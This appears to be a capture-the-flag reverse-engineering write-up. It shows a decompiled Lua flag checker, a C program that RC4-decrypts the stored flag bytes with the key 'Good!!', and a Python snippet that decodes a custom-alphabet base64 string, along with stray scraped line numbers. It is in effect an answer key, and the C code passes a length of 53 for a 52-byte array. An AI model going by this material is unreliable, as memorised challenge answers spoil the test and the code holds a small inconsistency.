L23_1 = 254
L24_1 = 189
L25_1 = 167
L26_1 = 236
L27_1 = 92
L28_1 = 154
L29_1 = 70
L30_1 = 19
L31_1 = 169
L32_1 = 10
L33_1 = 70
L34_1 = 222
L35_1 = 237
L36_1 = 237
L37_1 = 19
L38_1 = 249
L39_1 = 70
L40_1 = 121
L41_1 = 127
L42_1 = 189
L43_1 = 104
L44_1 = 169
L45_1 = 107
L46_1 = 43
L47_1 = 1
L48_1 = 50
L49_1 = 165
L50_1 = 234
L51_1 = 90
L52_1 = 76
L53_1 = 190
L3_1[1] = L4_1
L3_1[2] = L5_1
L3_1[3] = L6_1
L3_1[4] = L7_1
L3_1[5] = L8_1
L3_1[6] = L9_1
L3_1[7] = L10_1
L3_1[8] = L11_1
L3_1[9] = L12_1
L3_1[10] = L13_1
L3_1[11] = L14_1
L3_1[12] = L15_1
L3_1[13] = L16_1
L3_1[14] = L17_1
L3_1[15] = L18_1
L3_1[16] = L19_1
L3_1[17] = L20_1
L3_1[18] = L21_1
L3_1[19] = L22_1
L3_1[20] = L23_1
L3_1[21] = L24_1
L3_1[22] = L25_1
L3_1[23] = L26_1
L3_1[24] = L27_1
L3_1[25] = L28_1
L3_1[26] = L29_1
L3_1[27] = L30_1
L3_1[28] = L31_1
L3_1[29] = L32_1
L3_1[30] = L33_1
L3_1[31] = L34_1
L3_1[32] = L35_1
L3_1[33] = L36_1
L3_1[34] = L37_1
L3_1[35] = L38_1
L3_1[36] = L39_1
L3_1[37] = L40_1
L3_1[38] = L41_1
L3_1[39] = L42_1
L3_1[40] = L43_1
L3_1[41] = L44_1
L3_1[42] = L45_1
L3_1[43] = L46_1
L3_1[44] = L47_1
L3_1[45] = L48_1
L3_1[46] = L49_1
L3_1[47] = L50_1
L3_1[48] = L51_1
L3_1[49] = L52_1
L3_1[50] = L53_1
L4_1 = 239
L5_1 = 227
L3_1[51] = L4_1
L3_1[52] = L5_1
flag = L3_1
L3_1 = 1
L4_1 = string
L4_1 = L4_1.len
L5_1 = K
L4_1 = L4_1(L5_1)
L5_1 = 1
for L6_1 = L3_1, L4_1, L5_1 do
  L7_1 = table
  L7_1 = L7_1.insert
  L8_1 = t
  L9_1 = string
  L9_1 = L9_1.byte
  L10_1 = string
  L10_1 = L10_1.sub
  L11_1 = K
  L12_1 = L6_1
  L13_1 = L6_1
  L10_1, L11_1, L12_1, L13_1, L14_1, L15_1, L16_1, L17_1, L18_1, L19_1, L20_1, L21_1, L22_1, L23_1, L24_1, L25_1, L26_1, L27_1, L28_1, L29_1, L30_1, L31_1, L32_1, L33_1, L34_1, L35_1, L36_1, L37_1, L38_1, L39_1, L40_1, L41_1, L42_1, L43_1, L44_1, L45_1, L46_1, L47_1, L48_1, L49_1, L50_1, L51_1, L52_1, L53_1 = L10_1(L11_1, L12_1, L13_1)
  L9_1, L10_1, L11_1, L12_1, L13_1, L14_1, L15_1, L16_1, L17_1, L18_1, L19_1, L20_1, L21_1, L22_1, L23_1, L24_1, L25_1, L26_1, L27_1, L28_1, L29_1, L30_1, L31_1, L32_1, L33_1, L34_1, L35_1, L36_1, L37_1, L38_1, L39_1, L40_1, L41_1, L42_1, L43_1, L44_1, L45_1, L46_1, L47_1, L48_1, L49_1, L50_1, L51_1, L52_1, L53_1 = L9_1(L10_1, L11_1, L12_1, L13_1, L14_1, L15_1, L16_1, L17_1, L18_1, L19_1, L20_1, L21_1, L22_1, L23_1, L24_1, L25_1, L26_1, L27_1, L28_1, L29_1, L30_1, L31_1, L32_1, L33_1, L34_1, L35_1, L36_1, L37_1, L38_1, L39_1, L40_1, L41_1, L42_1, L43_1, L44_1, L45_1, L46_1, L47_1, L48_1, L49_1, L50_1, L51_1, L52_1, L53_1)
  L7_1(L8_1, L9_1, L10_1, L11_1, L12_1, L13_1, L14_1, L15_1, L16_1, L17_1, L18_1, L19_1, L20_1, L21_1, L22_1, L23_1, L24_1, L25_1, L26_1, L27_1, L28_1, L29_1, L30_1, L31_1, L32_1, L33_1, L34_1, L35_1, L36_1, L37_1, L38_1, L39_1, L40_1, L41_1, L42_1, L43_1, L44_1, L45_1, L46_1, L47_1, L48_1, L49_1, L50_1, L51_1, L52_1, L53_1)
end
L3_1 = 1
L4_1 = string
L4_1 = L4_1.len
L5_1 = K
L4_1 = L4_1(L5_1)
L5_1 = 1
for L6_1 = L3_1, L4_1, L5_1 do
  L7_1 = t
  L7_1 = L7_1[L6_1]
  L8_1 = flag
  L8_1 = L8_1[L6_1]
  if L7_1 ~= L8_1 then
    L7_1 = print
    L8_1 = "wrong"
    L7_1(L8_1)
    L7_1 = os
    L7_1 = L7_1.exit
    L7_1()
  end
end
L3_1 = print
L4_1 = "correct!"
L3_1(L4_1)

解密代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <cstdio>
#include <cstring>

unsigned char sz[] =
{
    43, 50, 118, 51, 186, 167, 106, 55, 228, 145, 160, 171, 23, 227, 82, 56, 191, 166, 65, 254, 189, 167, 236, 92, 154, 70, 19, 169, 10, 70, 222, 237, 237, 19, 249, 70, 121, 127, 189, 104, 169, 107, 43, 1, 50, 165, 234, 90, 76, 190, 239, 227
};

void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len)
{
    int i = 0, j = 0;
    unsigned char k[256] = { 0 };
    unsigned char tmp = 0;
    for (i = 0; i < 256; i++)
    {
        s[i] = i;
        k[i] = key[i % Len];
    }
    for (i = 0; i < 256; i++)
    {
        j = (j + s[i] + k[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
    }
}

void rc4_crypt(unsigned char* s, unsigned char* Data, unsigned long Len)
{
    int i = 0, j = 0, t = 0;
    unsigned long k = 0;
    unsigned char tmp;
    for (k = 0; k < Len; k++)
    {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
        t = (s[i] + s[j]) % 256;
        Data[k] ^= s[t];
    }
}

int main()
{
    unsigned char s[256];
    unsigned char key[] = "Good!!";
    rc4_init(s, key, 6);
    rc4_crypt(s, sz, 53);
    printf("%s", sz);
    return 0;
}
1
2
3
4
5
6
7
8
9
import base64
import string

str1 = "mZOemITGxsjKy87PycnMzJnGy5vMys+bnczLm8rLx5vJz8bOnoL="

string1 = "/+9876543210zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))
0%